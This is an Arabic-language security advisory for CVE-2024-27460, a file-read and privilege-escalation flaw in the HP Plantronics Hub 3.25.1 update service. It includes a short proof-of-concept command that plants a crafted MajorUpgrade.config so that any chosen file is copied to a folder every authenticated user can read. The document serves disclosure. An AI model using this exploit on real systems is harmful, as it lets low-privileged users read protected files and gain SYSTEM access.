CVE-2024-27460

تصعيد امتيازات/قراءة ملفات عشوائية في محدّث HP Plantronics Hub 3.25.1

الوصف:

يعاني HP Plantronics Hub 3.25.1 من خلل يسمح للمستخدمين ذوي الامتيازات المنخفضة بتنفيذ قراءة عشوائية للملفات بصلاحيات SYSTEM على الجهاز الذي تم تثبيت التطبيق عليه. علاوة على ذلك، من الممكن استغلال هذا الخلل لتصعيد الامتيازات إلى المستخدم SYSTEM.

الإصدارات المتأثرة

HP Plantronics Hub 3.25.1

الخدمات المتأثرة

مسار غير آمن: "C:\ProgramData\Plantronics\Spokes3G"

الخدمة: PlantronicsUpdateService

خطوات إعادة الإنتاج (POC):

• افتح cmd.exe
• انتقل باستخدام cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• سيتم نسخ الملف المطلوب إلى "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp"، والذي يمتلك أي مستخدم مُصادَق عليه صلاحية الوصول إليه.

اكتشفه:

• Farid Zerrouk من Deloitte Belgium
• Alaa Kachouh من Mastercard Europe.